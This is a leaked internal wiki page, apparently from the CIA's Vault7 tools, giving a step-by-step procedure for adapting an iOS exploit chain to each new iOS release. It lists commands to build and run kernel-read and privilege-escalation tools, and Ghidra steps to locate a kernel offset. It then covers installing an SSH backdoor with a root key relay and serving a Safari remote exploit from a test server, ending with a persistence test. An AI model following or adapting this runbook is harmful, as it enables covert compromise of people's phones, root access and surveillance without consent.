Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
iOS Triage Process
This describes the process need to been done when a new iOS version is updated.
List of tools new needed
- Xcode Developer Disk Image (DMG)
- Install Xcode
- find DMG in xcode directory
- put with other DMG ( redux/res/dmg )
Saline
- get saline_manifest
- compile saline
- get testdylib_manifest
- compile test testdylib
- run saline
- ../Dist/Release-MacOSX/saline ../test_dylib/Build/Release-iPhoneOS/testdylib/testmain
Adderall
- Get adderall_manifest
- in nightversion/python/nv_kern_read_command.py
- update kern start
- in get_ios_type, verify correct version number is in there
- update early.mk add new prefix to new to list ( in the early-make directory)
- early-bokken
- early-close
- early-persist
- early-remote
- update saline and rana
- update match function in rana/ranas/<proper>_rana.py\
- compile adderall
- Make a temp folder for ios files
- run "adderall-dist <ios files>"
- Hopefully have execution
Symdra / Elsym
- python symdra/ -h
- python symdra/ full -k </tmp> -a <results folder> -g <ghidra_dir> -b <min_build_version>
- /tmp should have IPSW from adderall (ios files from before)
- a copy should be up on the share
- create a temp file for your results
- ghidra must be at least 6
- build version is your target (also from ios files)
- /tmp should have IPSW from adderall (ios files from before)
- When done symbol.db in the analysis directory
- This will be feed into Elsym
- sqlite3 <output folder>/<IPSW>/symbol.db
- select * from [ Master_symbol ];
- .exit
- cd ../elsym
- git status
- git branch feature/ios-<version>
- git checkout feature/ios-<version>
- el.py
- make sure build number is in the list
- might need to change "EL_CONFIG_LWVM_PARITION_FLAG_OFFSET"
- For iOS 8.4 we had to change it to 0x28. To determine:
- Open ghidra
- File -> Open Project
- goto the symdra_results/<IPSW>/Ghidra/kernelcache.gpr
- Open the System.kext and search for the string "disk0s1", "disk0s1s1", "Writable", and/or "UUID"
- This function is bsd_init (note this is heavily inlined and may not fully decompile)
- Find the call to _VNOP_IOCTL
- The second parameter is the ioctl number we need (in the past was 0xc01064c2 but might be broken into two instructions)
- Note the ioctl number
- Open com.apple.driver.LightweightVolumeManager.kext
- Search Program Text for the ioctl number (note you may want to search for half of it at a time) being used in a comparison
- This function is the ioctl handler
- Inside the true block of the conditional, look for the constants on the ioctl
- One of the commands sets a read-only field (1), the offset for this field is the LWVM_PARTION_FLAG_OFFSET.
- For iOS 8.4 we had to change it to 0x28. To determine:
- run and see what happens
- ZOO_IPSW_PATH=<results folder> make copyonedist ZOO_TARGET=<target>
- _kernel_memory_allocate is only used for the development
- ls ../elsym-dist/<IPSW>.plist
- python verify ../elsym-dist/
- no back files found ( doesn't mean that all files are good, just didn't find it)
- print_config.py ../elsym-dist/<IPSW>.plist
Nightvision
- can be done under the adderral or the ios manifest
- cd adderral
- cd nightvision
- make dist
- ../Dist/Release-iPhoneOs/nv -c ../early/elsym-dist/ get -o <outdir>/
- find /private/var/root in file list to verify privilege escalation worked
El_util
- cd early_manifest
- make ZOO_IPSW="<target>"
- el_runo.sh don't use even if it is in the directory
- cd ../rana
- make
- python ../Build/Release-MacOS/rana.pyz -a execute Build/Relase-iPhoneOS/elutil/<IPSW>/el_priv
- should be "uid = 0, euid = 0"
El_unit
- cd elunit
- ZOO_ISPW_PATH=~/tmp/ make
- need a device on the developer profile
- should only have 1 failed test
El_ssh
- go into el_ssh
-
ZOO_IPSWS="<target>" EL_SSH_ACCESS="close" ZOO_ISPW_PATH=<outdir> make
If you get the following error
el_ssh/Makefile:46: *** No ipsw resources for <target> . Stop.
- copy the plist from your elsym-dist from the symdra test into the elsym-dist in your manifest
- ../Dist/Release-iPhoneOS/el_ssh install
- ../Dist/Release-iPhoneOS/el_ssh run
- ../Dist/Release-iPhoneOS/el_ssh dumpkey ssh.key
- ../Dist/Release-iPhoneOS/el_ssh relay -p 2222
- ssh -i ssh.key -p 2222 root@localhost
- ls bin_nohash
Remote
- under testdylib manifest
- in testdylib make dist
- under mcnugget manifest
- cd mcnugget
- make
- cd mcp_archon
- archon.py
- variable = iOS
- earth.py
- variable = iOS
- soul.py
- (doesn't actually check version) we are good
- safari
- settings advance Web Inspector on
- Settings -> Advanced -> Web Inspector
- settings developer enable UIUser Interface automation
- settings advance Web Inspector on
- ZOO_IPSW_PATH=~/temp/ ZOO_CONFIG=Release make delivery
- cd ../Build/Release-MacOSX/mcnugget/
-
./mc_creator plist --url http://<ip>:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""
<ip> is the ip of your Mac ( not your iDevice)
- OR if your feel like cheating ./mc_creator plist --url http://`ifconfig | grep "inet 10" | cut -d " " -f 2`:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""
./solcreate mc.plist /<path>/testdylib.zip -t myid -o myid.sol --nonpersist
./mc_creator server mctest mc.plist mcplugins/mcp_* myid.sol
-
./mctest
press enter when prompted for passphrase
- wait for ENGINE Bus STARTED
- Make sure device is on wifi
- Connect device via usb
- then run python mdf syslog
- verify safari is not loaded in memory on target
- On device open safari
- then browse to http://<ip>:8080/?id=myid
- On mctest log you should see
"exploitation succeeded, deleting from target dictionary"
-
In the syslog you should see the
- "iPhone locationd[57] <Emergency>: ==== Testdylib Started at:"
Persistence
Test of vulnerability
- install el_ssh
- git the grist_manifest
- init repo
- goto into the dyld-js folder in the repo
make dylinker_test ZOO_CONFIG=Debug
~/git2/el_ssh_manifest/Dist/Release-iPhoneOS/scp ../Build/Debug-iPhoneOS/dyld-js/dylinker_test_<arch>.js -i <key file> root@<device ip>
ssh -i <key file> root@<device ip>
/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc dylinker_test_64.js
- You should see [dylinker] 5 of 5 passed.
Related articles
iOS Firmware Updating to latest procedure / Adding Exploit Support For New Devices
('contentbylabel' missing)
('details' missing)